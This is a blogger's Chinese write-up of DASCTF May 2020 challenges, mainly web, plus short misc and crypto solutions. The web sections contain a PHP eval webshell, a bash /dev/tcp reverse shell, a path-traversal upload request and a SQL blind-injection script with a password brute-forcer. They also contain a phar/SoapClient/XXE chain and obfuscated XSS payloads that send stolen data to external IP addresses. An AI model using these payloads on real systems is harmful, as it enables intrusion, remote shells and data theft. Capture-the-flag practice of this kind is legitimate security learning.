我是彩笔!!!这个比赛第一天本来是第8名的,第二天睡大觉到中午,没啥战果!最后好像是跌到了40+名,不过得了个安恒短信,happy~~

QQ图片20201219104844.jpg

DASCTF 五月赛暨 DASCTF 3rd

​ —— 部分题目总结


打个广告:https://github.com/WAY29/Doughnuts

一个特化的webshel管理工具!

WEB:
  • 帮帮小红吧
  • gob
  • Mutiplayer Sports
  • 布吉岛
  • ezupload
  • 老开发
  • notes
MISC:
  • /bin/cat 2
crypto:
  • bbcrypto
  • easyLCG

WEB

1 、帮帮小红吧(非预期):

​ 考的是带firewall的无回显codeshell,不过由于出题人疏忽,改题目的html目录下有权限,导致很多人就直接getshell了;

# 题目源码:
<?php shell_exec($_GET['imagns']); >

​ 非预期:

# html目录有写权限(后面还导致题目炸了一会)
echo '<?php eval($_REQUEST[dm]); ?>' > ./dm.php

​ 非预期(也可能是预期解):

# 利用linux的命令进行 “盲注”
fonts = [chr(asc) for asc in range(32,127)]
cat /flag | grep -e "[?]" && sleep(2)

​ 预期解(longlone大佬的肯定):

# 找到可出站端口反弹shell,可以在攻击机利用规则将一长段端口都映射到某一个特定端口上,然后监听即可
bash -i >& /dev/tcp/[xxx.xxx.xxx.xxx]/[port?] 0>&1
# 然后写个类似批处理脚本,之后仅需监听2333端口
for port in $(seq [min] [max])  
do
iptables -t nat -A PEROUTING -p tcp -i eth0 --dport $port -j DNAT --to [xxx.xxx.xxx.xxx]:2333
done

​ flag在根目录


2、gob

​ 考的很杂,很奇怪的东西,感觉多考脑回路,简单来说我觉得这题出的不是很好,上传目录配置没设置好,存在目录泄露;

​ 由于平台的原因,多数人代理的内网IP相同,导致选手之间可以相互切磋(交流),而且上传后的文件在无法自行删除,得等待至其消失才能上传相同文件名文件(payload就那几个,这么一上传,目录又泄露,别人早看穿了);

​ 这个题目有两个主要页面,可以上传图片(any文件),上传目录应该是在httpd.conf设置了一些解析配置,默认 ph* 的文件都被当作图片解析,txt之类的不受影响;然后是可以在另一个页面上看到文件的信息,具体是在dom中的<img 标签中可以看到内容;

​ 那么,首先可以通过../../..设置文件名逃逸网络目录,这里挺脑洞的了:

image-20200524085553474.png

​ 随意读一个系统文件,比如../../../../../etc/issue这个文件:

image-20200524085717476.png

image-20200524085652265.png

​ 那么再读flag:

image-20200524085717476.png

​ 解码的图那时候没截,就先这样

​ 下面是简单的payload:

# 很简单,主要是还是脑回路,上传时候把文件名改改
# 然后刷新一下 /show.php 页面就能看到 flag 在dom中的<img src='data://base64,flag的base64[xxxxxx]' >

POST /upload.php HTTP/1.1
Host: 183.129.189.60:1006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------465717956456971630116264052
Content-Length: 256
Origin: http://183.129.189.60:10063
Connection: close
Referer: http://183.129.189.60:10063/upload.php
Cookie: PHPSESSID=Q/+BAwEBBVVzZXJzAf+CAAEEAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAABCEZpbGVuYW1lAQwAAQRTaWduAQwAAAAP/4IBBWFkbWluAQMxMjMA
Upgrade-Insecure-Requests: 1

-----------------------------465717956456971630116264052
Content-Disposition: form-data; name="uploadfile"; filename="../../../../../flag"
Content-Type: application/x-php

<?=`cat /flag` ?> #我随便打的,不用管他
-----------------------------465717956456971630116264052--

3、Mutiplayer Sports(未解):

​ 这题是基于order by xx [desc …..]的盲注,过滤挺严的,刚开始想了好一会,它把一些常用的字符比如 sys information where or mid substring substr ascii ord hex [空格] 等过滤了,无法直接注入出数据的形式了(无法区分大小写),然后还好吧,其他的可以用instr + left迭代注入还可以;

​ 然后先是从mysql.tables_priv读到 ‘user’ 表名,尝试再读mysql.columns_priv,啥也没读到,这也挺正常,毕竟没啥人会闲着给特定的字段设置权限,哎。之后卡在没读到字段那里好一会,盲猜记录admin密码字段是 ‘password’ 但是 ‘or’ 被过滤了;

​ 后来捣鼓了一下mysql,其实可以用一些预处理来绕过字段名读特定的字段数据:

# 比如说可以先构造出相同字段数的已知的字段名,然后用union把数据在后边接上,再把这整个接好的表select特定的之前构造好的字段名即可;

select left((select `2` from (select 1,2,3 union select * from data)a limit 1,1),3);

# 其中

(select 1,2,3 union select * from data)a

# -------------------
# |  1  |  2  |  3  |
# -------------------
# | abc | 233 | aaa |
# -------------------

# 然后这个上边的 '1' '2' '3' 在下一次select的时候就会被当成字段了

(select `2` from (select 1,2,3 union select * from data)a limit 1,1)

# -------
# | 233 |
# -------
# 这个limit 1,1是必须的,假若是 limit 0,1 或者 limit 1 ,则会输出字段名 2 

​ 下面是解题的盲注payload:

import requests
from re import findall

target = "http://183.129.189.60:10114/"

p1 = '?by=^(locate(0x%s,left(database(),%d)));'

p2 = '?by=^(locate(0x%s,left((select(group_concat(table_name))from(mysql.innodb_table_stats))),%d)));'

p3 = '?by=^(locate(0x%s,left((select/**/`3`/**/from (select/**/1,2,3 union/**/select/**/*/**/from/**/user)a/**/limit/**/1,1),%d)));'

p4 = "?by=^(locate(0x%s,left((select/**/group_concat(table_name)/**/from/**/mysql.tables_priv/**/limit/**/1),%d)));"

pp = '?by=^(locate(0x%s,left((load_file(0x2F6574632F6973737565)),%d)));'

if __name__ == '__main__':
    i, j = 0, ""
    result = ""
    while True:
        i += 1
        for bit in range(32, 128):
            p = p3 % (j + (hex(bit)[ 2: ].zfill(2)), i)
            get = requests.get(url = target + p)
            print(get.url)
            if (
                    b'<th scope="row">1</th>\r\n                            <td>www</td>\r\n                            <td>\xe6\x97\xb6\xe9\x97\xb4\xe5\xb0\xb1\xe5\x83\x8f\xe6\xb5\xb7\xe7\xbb\xb5\xe9\x87\x8c\xe7\x9a\x84\xe8\xb0\x81\xef\xbc\x8c\xe6\x8c\xa4\xe4\xb8\x80\xe6\x8c\xa4\xe6\x80\xbb\xe4\xbc\x9a\xe6\x9c\x89\xe7\x9a\x84\xe3\x80\x82</td>\r\n                            <td>2020-05-09 00:00:00</td>\r\n                        </tr>\r\n                    \r\n                        <tr>\r\n                            <th scope="row">3</th>\r\n                            <td>imagin</td>\r\n                            <td>\xe5\x90\x88\xe7\x90\x86\xe5\xae\x89\xe6\x8e\x92\xe6\x97\xb6\xe9\x97\xb4\xef\xbc\x8c\xe5\xb0\xb1\xe7\xad\x89\xe4\xba\x8e\xe8\x8a\x82\xe7\xba\xa6\xe6\x97\xb6\xe9\x97\xb4</td>\r\n                            ' in get.content):
                j += hex(bit)[ 2: ].zfill(0)
                print(j)
                break
            else:
                if ('dundundun.gif' in get.text):
                    print("?")
                    exit( )
                if (bit == 127):
                    print("".join(chr(int(each, 16)) for each in findall('\w{2}', j)))
                    exit( )

    # print(("Result:", j))

​ 然后得到密码:T1ME CTROL13R,但是这个并不是最终结果,这个注入出来的结果无法确认大小写,还得进行一次爆破,对应脚本:


from requests import session
from re import findall

session = session()


passwd = 'T1ME CTROL13R'.lower()
fonts = 'tmectrolr'
target = 'http://183.129.189.60:10112/login'
length = len(fonts)
pdbin = '0'*length

xsrf = findall('<input type="hidden" name="_xsrf" value="(.*)"',session.get(url = target).text)[0]
print(xsrf)
i=0
while True:
    if(i>2**length):
        break
    data = "".join(fonts[index].lower() if pdbin[index] == '0' else fonts[index].upper() for index in range(length))
    data = data[0] + '1' + data[1:3] + ' ' + data[3:-1] + '13' +data[-1]
    pdbin = bin(int(pdbin,2) + 1)[2:].zfill(length)
    status = session.post(url = target,data = {'username':'admin','password':data,'_xsrf':xsrf})
    if(status.status_code == 500):
        i -= 1
        pdbin = bin(int(pdbin, 2) - 1)[ 2: ].zfill(length)
    if('账号或者密码不正确' not in status.text):
        print("OK:",data)
        print(status.text)
        exit()
    else:
        print(data," - <%6.6f%%>"%((i/2**length)*100))
    i+=1


​ 最后得到密码:T1Me cTRol13r,登陆后卡住了,不懂这个题目的意思;由于这个是go写的服务器,也顺手去查了一下,也没有什么发现:

image-20200524091824291.png

​ 总之无法直接getFlag,之后看了wp再补上吧(这里吐糟一下这个服务器真的不太行,虽然平台用了内网代理,还是很卡,好在不是基于时间盲注);

​ 后面看了下出题思路,说是还有一个表,叫 ‘hint’,mysql.tables_priv里边是没有的,然后里面有go文件的源码,靠!忘记加群,后悔,错过了;

​ 大致是go的一个trick,这里上go的源码:

package main
// @router /getflag [get]
func (c *GetFlagControoler) GetFlag() {
	if c.GetIp() == "127.0.0.1" {
		c.Data["flag"] = beego.AppConfig.String("flag")
	}
	c.TplName = "flag/flag.tpl"
}
func request(Url string, CookieValue string) string {
	client := &amp;http.Client{}
	var req *http.Request
	req, _ = http.NewRequest("GET", Url, nil)
	Cookie := &amp;http.Cookie{Name: "auth", Value: CookieValue}
	req.AddCookie(Cookie)
	resp, _ := client.Do(req)
	defer resp.Body.Close()
	b, _ := ioutil.ReadAll(resp.Body)
	fmt.Println(string(b))
	return string(b)
}
func parseUrl(Url string) string {
	res, _ := url.ParseRequestURI(Url)
	if res.Host == "" {
		return "http://localhost:" + beego.AppConfig.String("httpport") + res.Path
	} else {
		return Url
	}
}

​ 出题人大佬说当解析http:///xxxx这样的URL时候,会把xxxx看作 ‘空’,所以据说http:///localhost,然后cookie用auth=xxxxxx那段就行了,学习了;

​ 据说这题刚出的时候有非预期,用sqlmap就能爆出来,’=’ 之前没ban,我做的时候已经修完了,刚好跳过了最简单的时候,挺难受;

​ 后来说这题还可以报错注入;


4、布吉岛(未解):

​ jsp的,附送源码包,捣鼓了一会,没看出什么门路,不会java,放弃了;

​ 据说是Java的反序列化啥的,redit


5、ezupload:

​ 这题吧,总的来说也就那样,php题套路,要不是最后flag提交有问题,中途去洗了一下澡弄了下饭,估计是一血了(万恶之源出题人,其实提交也就4种情况,就我偏偏没去试最后一种)

​ 首先看了下题目,卡在没有key,无法登录,然后简单扫了一下,看到有/flag.php,进去看到了提示:

image-20200524092541581.png

​ OK,简单来说必定是ssrf+xxe了,这套路太常见了,然后easyctf扫描,发现有www.zip,下载下来,用phpstrom审计,先看了一下生成key的部分:

<?php
	header("content-type:text/html;charset=utf-8");
	session_start();
	function getkey()
	{
		$key = '';
		$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
		for ($i = 0; $i < 48; $i++)
		{
			$key = $key . $chars[random_int(0, 61)];
		}
		$_SESSION['key'] = $key;
		return $key;
	}
	function getreferer() {
		static $referer;
		if (isset($_SERVER['HTTP_REFERER'])) {
				$referer = $_SERVER['HTTP_REFERER'];
			}
		elseif(isset($_POST['URL_REFERER'])){
				$referer = $_POST['URL_REFERER'];
			}
		else{
			die("Where are you from?");
		}
		return $referer;
	}




		$key = getkey();
		$url = getreferer();
		if(!preg_match("/^http[s]{0,1}:\/\//i", $url)){
			die("What do you want to do?");
		}
		$host = parse_url($url, PHP_URL_HOST);
		if(preg_match("/^google\.com$/i", $host) or preg_match("/(.*)\.google\.com$/i", $host)){
			$headers = get_headers($url,1);
			if($headers['dd'] === 'MeAquaNo_1!!!'){
				echo $key;
			}
			else{
				echo 'dd beheading!';
			}
		}
		else{
			die("Only dd working at Google can get the key!");
		}

​ 看起来只需要header或者post的内容符合条件就会给key了,这里的parse_url函数得到的[‘host’]的规则是选取’//‘后面的第一个’/‘或者当没有’/‘时取到最后一个字符,其中假若有port,若port存在非数字的非’/‘字符则会出错,比如:

# host:233.233.233.233
http://233.233.233.233:123/

# host:233.233.233.233:123
http://dq:v5@233.233.233.233:123

# False
http://233.233.233.233:123a

# host:233.233.233.233,ok.com
http://233.233.233.233,ok.com:[数字]

# False
http://233.233.233.233,ok.com
 
# hots:http://233.233.233,ok.com:80
http://233.233.233.233,ok.com:80:2333

​ 简单来说这个题目要求host的后半部分需要有 ‘.google.com’,前半部分只需要稍微做些动作即可过第一层过滤,然后是get_headers这个函数,得能够正确执行才可以,而且这个url必须是可控的,要求返回头必须有 dd: MeAquaNo_1!!!;

​ 想了一会,发现这个url可以从post传入,那么也就可以利用%00截断,尝试了一下发现确实可以:

http://xxx.xxx.xxx.xxx%00.google.com/

​ 这里可以过parse_url的host,其中%00会当作_处理,而在get_headers种,%00会把后边的给切了(具体参考:https://bugs.php.net/bug.php?id=79329)不过这样构造的url是不能存在端口,仅能够用默认的80(这里感谢longlone这个家伙的奉献的80端口)然后在得在index页设置 dd:MeAquaNo_1!!! 的返回头;

image-20200524094233575.png

​ 得到key之后,就可以登录了,之后就有了上传和查看文件功能,这里先从上传功能源码入手:

<?php
    header("content-type:text/html;charset=utf-8");
    $upload_path = "./upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(isset($_SESSION['login'])){
        if(!file_exists($upload_path)){
            mkdir($upload_path);
        }

        $is_upload = false;
        $msg = null;
        if (isset($_POST['upload']) && !empty($_FILES["upload_file"])) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $file_name = $_FILES['upload_file']['name'];
            $allow_ext = array(".jpg",".png",".gif");
            $file_ext = strrchr($file_name, '.');
            if(preg_match("/ph/i",$file_ext)) die("What do you want to do?");

            if (in_array($file_ext, $allow_ext)) {
                if(!exif_imagetype($temp_file)) die("What did you upload?");
                if(mb_strpos(file_get_contents($temp_file), 'script')!==False) die("Sorry, I'm a policeman.");
                $file_path = $upload_path.'/'.$file_name;
                if (move_uploaded_file($temp_file, $file_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        }
    }
    else{
        echo "<script>alert('Please Login!');history.go(-1);</script>";
    }
?>

​ 要求的后缀名必须是 [“.jpg”,”.png”,”.gif”] ,并且文件头页必须是对应的内容,总之就是不能直接上php文件,再看查找文件的功能:

<?php
	header("content-type:text/html;charset=utf-8");
	error_reporting(0);
	class showpic{
		public $picname;
		public $finish;
		function __construct($picn){
			$this->picname = $picn;
			$this->finish = $this;
		}
		function show(){
			echo "<script>alert('find!');</script>";
			echo "<script>location.href='$this->picname';</script>";
		}
		function alert(){
			echo "<script>alert('finished.');</script>";
		}
		function __destruct(){
			$this->finish->alert();
		}
	}
	$pic_path = "./upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
	if(isset($_SESSION['login'])){
		if(isset($_POST["find"]) && $_POST["find"] == "find"){
			chdir($pic_path);
			$pic = $_POST['picname'];
			if(preg_match("/^(http|https|ftp|file|dict|gopher|phar|php)/i", $pic) or preg_match("/\.\.|\.\.\/|flag|html|js|css|php/i", $pic)){
				die("<script>alert('Hacker!!');history.go(-1);</script>");
			}
			if(!exif_imagetype($pic)) {die("<script>alert('Hacker!!!');history.go(-1);</script>");}
			if(file_exists($pic)){
				$picn = $pic_path . "/" . $pic;
				$pic = new showpic($picn);
				$pic->show();
			}
			else{
				echo "<script>alert('未找到该图片,请确认该图片是否被上传成功.');history.go(-1);</script>";
			}
		}
	}
?>

​ OK,一目了然,这个题目也太明显了,直接上来就给了个可以触发soap的类,还特意放到了__destruct方法中(出题人页太不小心了= =),这里思路就很明显,上传带有图片头的对应phar,phar的内容要求是带SimpleXMLElement类的soap即可,至于怎么触发,这里看似过滤了phar,不过也只是对头进行过滤而已,可以用zlib.compress://phar://带携带phar绕过;(这里提一下,zlib.compress://是一个大的流,可以包含很多普通流,比如zlib.compress://data://)

​ 那么先看一下构造phar的payload,实话说这个题,用的是GET的soap的ssrf,难度不是很大:

<?php

function get_phar($o, $path)
{

    @unlink($path);
    $phar = new Phar($path);
    $phar->startBuffering();
    $phar->setStub("GIF89a111"."__HALT_COMPILER();");
    $phar->setMetadata($o);
    $phar->addFromString("2333.txt", "Hello");
    $phar->stopBuffering();

    $f = file_get_contents($path);
    echo urlencode($f);

    #@unlink($path);
}

$data=urlencode('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag" >
<!ENTITY % evil SYSTEM "http://47.101.132.223:6555/xml_at.xml">
%evil;
%come;
]>
<root></root>');

$target = "http://127.0.0.1:80/flag.php?classname=SimpleXMLElement&data[a]={$data}&data[b]=2";
$data = "\x0d\x0a\x0d\x0a" . 'DQ=23333';
$cookie = "\x0d\x0a" . 'Cookie: PHPSESSID=54ioi2mv7k6jm5tkn8imbq8j7t';
$user = 'DM_DQ';
$content = "\x0d\x0a" . 'Content-Type: application/x-www-form-urlencoded';
$length = "\x0d\x0a" . 'Content-Length: ' . (string) (strlen($data) - 4);

$soap = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => $user . $content . $cookie . $length . $data,
    'uri' => '2333'
));

class showpic{
    public $picname;
    public $finish;
    function __construct($o)
    {
        $this->finish = $o;
    }
}

$show = new showpic($soap);

get_phar($show,'ok.phar');

​ 然后再看一下攻击机上的xml_at.xml构造:

<!ENTITY % hack "<!ENTITY &#x25; come SYSTEM 'http://47.101.132.223:6555/evilread.php?f=%file;'>">
%hack;

​ 其中evilread.php只需要把接收的GET参数写入文件就行了;

​ 之后将拿到的结果去解码,得到flag:

image-20200524095419807.png

​ 好,提交flag!

image-20200524095441092.png

​ 问了出题人,没回消息,尼玛,先恰饭洗澡去,回来的时候出题人回复说这个题应该提交flag交括号内的内容,不需要md5,然后就没了:

image-20200524102837303.png

image-20200524095504385.png


6、老开发(未解):

​ 题目刚出的时候在肝Mutiplayer Sports,没怎么看,好像是orm的拼接漏洞,不是很清楚,题目是一个登录界面,ban了单引号 ‘ ;

​ 看了下wp,说是需要读源码,应该是用sql读,大致是php类的一些运用,看起来挺简单


7、notes(未解):

​ 这题比较冤啊,刚开始以为是nodejs,没怎么去看,后来准备结束了才去看了下,发现是php,然后有www.zip,审计了一下,发现这个题目其实是一个比较综合的xss,具体解题思路是通过xss让另一个内网的admin域内请求flag,然后把再把flag发出去;

<?php
session_start();
error_reporting(0);
define('FLAG', 'BJD{********************}');

if ($_SERVER['REMOTE_ADDR'] === '172.26.176.2') //only admin, who is at 172.26.176.2, can get FLAG
    echo FLAG;
else echo $_SERVER['REMOTE_ADDR'];

die;

​ 然后对xss的过滤也比较严格:

<?php
//题目运行在172.26.176.1,管理员在172.26.176.2,管理员是罗X祥唯一真传,能超越时间,24h在线
header("Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; require-trusted-types-for 'script';");

function checkUsername($s)
{
    if (preg_match('/[^a-z0-9]/i', $s) || strlen($s) < 2 || strlen($s)>10 )
        return false;
    else return true;
}

function alertMes($mes,$url){
    echo "<script>alert('{$mes}');location.href='{$url}';</script>";
    die;
}

function redirectTo($url) {
    echo "<script>location.href='{$url}';</script>";
    die;
}

function generate_code($length = 6) {
    $min = pow(10 , ($length - 1));
    $max = pow(10, $length) - 1;
    return rand($min, $max);
}

function init() {
    if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1' || $_SERVER['REMOTE_ADDR'] === '172.26.176.2') {
        $_SESSION['isLogin'] = 1;
        $_SESSION['username'] = 'admin_Y1ng';
    }
    if ( !isset($_SESSION['captcha']) || isset($_POST['reset'])  ) {
        $secret = md5(generate_code());
        $_SESSION['captcha'] = substr($secret,0,6);
    }
}


//My waf is absolutely secure, you noob hacker
function checkNote($s) {
    $filter = '/let|cookie|meta|create|fetch|f[^a-z]*l[^a-z]*a[^a-z]*g|src|append|<script>|func|javascript|res|lo|then|ftp|const|ajax|\$|\'|\"/imX';
    if (preg_match($filter, $s) || strlen($s) >= 500 || strlen($s) <= 1) return false;
    else return true;
}

function checkURL($url) {
    if ( preg_match('/[|~`^;&]/m', $url) )
        return false;
    else return true;
}


​ 可以说是过滤了大部分东西,比较麻烦的还是单引号、双引号、fun和分号,但是依然有办法可以bypass,其他的比如过滤了resp,导致JavaScript原生的XMLHttpRequest中的responseText无法用,那就把它找出来呗:过滤了单引号,双引号之类的可以用String.fromCharCode绕过,限长的话,那就用JavaScript的一些特性:

<script >if(1){s=String.fromCharCode,r=new XMLHttpRequest(),r.open(s(71,69,84),s(46,47,108,105,98,47,102,108,97,103,46,112,104,112),1),r.send(),i=0,j=0,z=0}for(var a in r){if(i++==5){c=a}}r[c]=(e)=>{if(r.readyState==4){for(var v in r){if(j++==15){var ok=r[v]}}for(var x in window){if(z++==6){u=window[x]}}u.href=s(47,47,49,50,48,46,50,55,46,49,52,54,46,50,54,47,63,102,61)+ok}}</script>

​ 这个的大体意思等价于:

var r = new XMLHttpRequest();
r.open('GET', './lib/flag.php?a=123', true);
r.send();
r.onreadystatechange = function () {
	if (r.readyState == 4) 
    	{
            var ok = r.responseText;
         	location.href='http://47.101.132.223:6555/evilread.php?f='+escape(ok);
		}
	};

​ 试了挺久,发现题目开了csp,这样做并不能发出去;

​ 然后先是尝试<iframe引入外部js:

<script >if(1){s=String.fromCharCode,e=s(99,114,101,97,116,101,69,108,101,109,101,110,116),f=document[e](s(105,102,114,97,109,101)),c=s(115,114,99),f[c]=s(46,47,99,115,115,47,98,117,108,109,97,46,109,105,110,46,99,115,115),a=s(97,112,112,101,110,100,67,104,105,108,100),d=document[e](s(115,99,114,105,112,116)),d[c]=s(47,47,52,55,46,49,48,49,46,49,51,50,46,50,50,51,58,54,53,53,53,47,116,46,106,115)}if(1){document.body[a](f)}if(1){frames[0].document.head[a](d)}</script>

​ 等价于:

f=document.createElement("iframe");
f.src="/css/bulma.min.css";
document.body.appendChild(f);
d=document.createElement('script');
d.src='http://47.101.132.223:6555/t.js';
frames[0].document.head.appendChild(d);

​ 其中t.js的内容:


var r = new XMLHttpRequest();
var ok;
r.open('GET', '../lib/flag.php', true);
r.send();
r.onreadystatechange = function () {
if (r.readyState == 4 && r.status == 200) {
	ok = r.responseText;
	img=document.createElement('img');
	img.src='http://47.101.132.223:6555/evilread.php?f='+escape(ok);
	document.head.appendChild(img);
	}
};

​ 结果发现并不可行;

​ 然后尝试用<link + dnslog外带:

<script >if(1){s=String.fromCharCode,r=new XMLHttpRequest(),r.open(s(71,69,84),s(46,47,108,105,98,47,102,108,97,103,46,112,104,112),1),r.send(),i=0,j=0}for(var a in r){if(i++==5){c=a}}r[c]=(e)=>{if(r.readyState==4){for(var v in r){if(j++==15){var ok=r[v]}}document.write(s(60,108,105,110,107,32,114,101,108,61,34,100,110,115,45,112,114,101,102,101,116,99,104,34,32,104,114,101,102,61,34,47,47)+ok+s(46,113,102,108,103,100,111,46,99,101,121,101,46,105,111,34,62))}}</script>

​ 失败了

​ 再尝试css外带:

<script >if(1){s=String.fromCharCode,r=new XMLHttpRequest(),r.open(s(71,69,84),s(46,47,108,105,98,47,102,108,97,103,46,112,104,112),1),r.send(),i=0,j=0}for(var a in r){if(i++==5){c=a}}r[c]=(e)=>{if(r.readyState==4){for(var v in r){if(j++==15){var ok=r[v]}}document.write(s(60,108,105,110,107,32,114,101,108,61,34,115,116,121,108,101,115,104,101,101,116,34,32,104,114,101,102,61,34,47,47,49,50,48,46,50,55,46,49,52,54,46,50,54,47,63,102,61)+ok+s(34,47,62))}}</script>

​ 没能成功,也没时间了;

​ 结束时候问了一下芋头大佬,顿然醒悟,其实费这么多时间去bypass题目CSP,其实只需要dom的xss然后用open就行了,这是他的芋头大佬的paylaod:

note.php?note=<object archive=x onerror=window[String.fromCharCode(101,118,97,108)](atob(unescape(document.URL.substring(document.URL.search(String.fromCharCode(70))-2))))>//dmFyIGxlbz1uZXcgWE1MSHR0cFJlcXVlc3QoKTtsZW8uYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIGZ1bmN0aW9uICgpIHt3aW5kb3cub3BlbigiLy80Ny4xMTIuMTM3LjEzNjoyMzMzLyIrdGhpcy5yZXNwb25zZVRleHQpfSk7bGVvLm9wZW4oIkdFVCIsICJsaWIvZiIrImxhZy5waHAiKTtsZW8uc2VuZCgpOw==

​ 后来看了下别人的wp,其实并不需要dom的xss,普通的就可以,payload没问题,就是死活过不去,很是奇怪;

​ 总结为:题目问题


MISC

1、/bin/cat 2:

​ 没怎么把时间放在misc上,找了个最简单的:

image-20200524102553665.png

​ 看起来就是一个二维码了,然后用mspaint手撸了好一会,再把大小调正,直接扫码,flag就是结果的md5:

image-20200524102709727.png


CRYPTO

1、bbcrypto:

​ 也是看着简单才做的,直接上题目源码:

​ 链接:https://xpro-resource.91ctf.com/2005205ec4f19d70080.py?e=1590135082&token=rmfgWQgms5emvhEzgKgyR1ddyuFSkWm-IJjq9Poa:bfusenR7QxUFBygEkhUXdHrKppU=

# -*- coding:utf-8 -*-
import A,SALT
from itertools import *

def encrypt(m, a, si):
    c=""
    for i in range(len(m)):
        c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
    return c
if __name__ == "__main__":
    m = 'flag{********************************}'
    a = A
    salt = SALT
    assert(len(salt)==3)
    assert(salt.isalpha())
    si = cycle(salt.lower())
    print("鏄庢枃鍐呭涓猴細")
    print(m)
    print("鍔犲瘑鍚庣殑瀵嗘枃涓猴細")
    c=encrypt(m, a, si)
    print(c)
    #鍔犲瘑鍚庣殑瀵嗘枃涓猴細
    #177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d

​ 然后,先跑SALT和a,SALT逆着跑就行了,a由于后面是mod计算,会有多个相距128的值,取其中一个即可:

#很简单的脚本,跑就完事
from itertools import *
from string import ascii_lowercase
from re import findall


def encrypt( ):
    for a in range(99999):
        for i in range(26 ** 3):
            SALT = ascii_lowercase[ i // 26 ** 2 ] + ascii_lowercase[ (i // 26) % 26 ] + ascii_lowercase[ i % 26 ]
            si = cycle(SALT)
            if (hex(((ord('f')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '17'):
                if (hex(((ord('l')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '74'):
                    if (hex(((ord('a')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '01'):
                        if (hex(((ord('g')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '50'):
                            if (hex(((ord('{')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '4b'):
                                if (hex(((ord('}')) * a + ord(next(si))) % 128)[ 2: ].zfill(2) == '3d'):
                                    print(SALT, a)

def decrypt( ):
    c = findall('\w{2}','177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d')
    print(c)
    m = '{}flag0123456789bcde'
    SALT = 'ahh'
    a = 57
    si = cycle(SALT)
    result = ""
    for each in c:
        sii = next(si)
        for font in m:
            if(hex(((ord(font)) * a + ord(sii)) % 128)[ 2: ].zfill(2) == each):
                result +=font
                print(each,result)
    print(len(c))
    print(len(result))

if __name__ == '__main__':
    decrypt( )

2、easyLCG:

​ 一句话,跑就完事,先上题目源码:

​ 链接:https://xpro-resource.91ctf.com/2005205ec4f19c2d6bb.py?e=1590142787&token=rmfgWQgms5emvhEzgKgyR1ddyuFSkWm-IJjq9Poa:ZB9alrU4NKaLW1TK_4yr8XVmcL8=

from Crypto.Util.number import*
from secret import flag


class LCG:
    def __init__(self):
        self.a = getRandomNBitInteger(32)
        self.b = getRandomNBitInteger(32)
        self.m = getPrime(32)
        self.seed = getRandomNBitInteger(32)

    def next(self):
        self.seed = (self.a*self.seed+self.b) % self.m
        return self.seed >> 16

    def output(self):
        print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
        print("state1 = {}".format(self.next()))
        print("state2 = {}".format(self.next()))


class DH:
    def __init__(self):
        self.lcg = LCG()
        self.lcg.output()
        self.g = getRandomNBitInteger(128)
        self.m = getPrime(256)
        self.A, self.a = self.gen_AB()
        self.B, self.b = self.gen_AB()
        self.key = pow(self.A, self.b, self.m)

    def gen_AB(self):
        x = ''
        for _ in range(64):
            x += '1' if self.lcg.next() % 2 else '0'
        return pow(self.g, int(x, 2), self.m), int(x, 2)


DH = DH()
flag = bytes_to_long(flag)
print("g = {}\nA = {}\nB = {}\nM = {}".format(DH.g, DH.A, DH.B, DH.m))
print("Cipher = {}".format(flag ^ DH.key))

'''
a = 3844066521
b = 3316005024
m = 2249804527
state1 = 16269
state2 = 4249
g = 183096451267674849541594370111199688704
A = 102248652770540219619953045171664636108622486775480799200725530949685509093530
B = 74913924633988481450801262607456437193056607965094613549273335198280176291445
M = 102752586316294557951738800745394456033378966059875498971396396583576430992701
Cipher = 13040004482819935755130996285494678592830702618071750116744173145400949521388647864913527703
'''

​ 跑就完事脚本:

from re import findall

def main():
    a = 3844066521
    b = 3316005024
    m = 2249804527
    for i in range(2147483648,4294967296):
        ai = ((a * i + b) % m)
        if(ai >> 16 == 16269):
            if(((a * ai + b) % m) >> 16 == 4249):
                print(i)

class LCG:
    def __init__(self):
        self.a = 3844066521
        self.b = 3316005024
        self.m = 2249804527
        self.seed = 2964210017
        """
        2964210017
        3136881456
        4175448000
        """

    def next(self):
        self.seed = (self.a*self.seed+self.b) % self.m
        return self.seed >> 16

    def output(self):
        print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
        print("state1 = {}".format(self.next()))
        print("state2 = {}".format(self.next()))


class DH:
    def __init__(self):
        self.lcg = LCG()
        self.lcg.output()
        self.g = 183096451267674849541594370111199688704
        self.m = 102752586316294557951738800745394456033378966059875498971396396583576430992701
        self.A, self.a = self.gen_AB()
        self.B, self.b = self.gen_AB()
        self.key = pow(self.A, self.b, self.m)

    def gen_AB(self):
        x = ''
        for _ in range(64):
            x += '1' if self.lcg.next() % 2 else '0'
        return pow(self.g, int(x, 2), self.m), int(x, 2)

def decrypt():
    dh = DH()
    c = 13040004482819935755130996285494678592830702618071750116744173145400949521388647864913527703
    print("g = {}\nA = {}\nB = {}\nM = {}".format(dh.g, dh.A, dh.B, dh.m))
    print("Cipher = {}".format(dh.key))
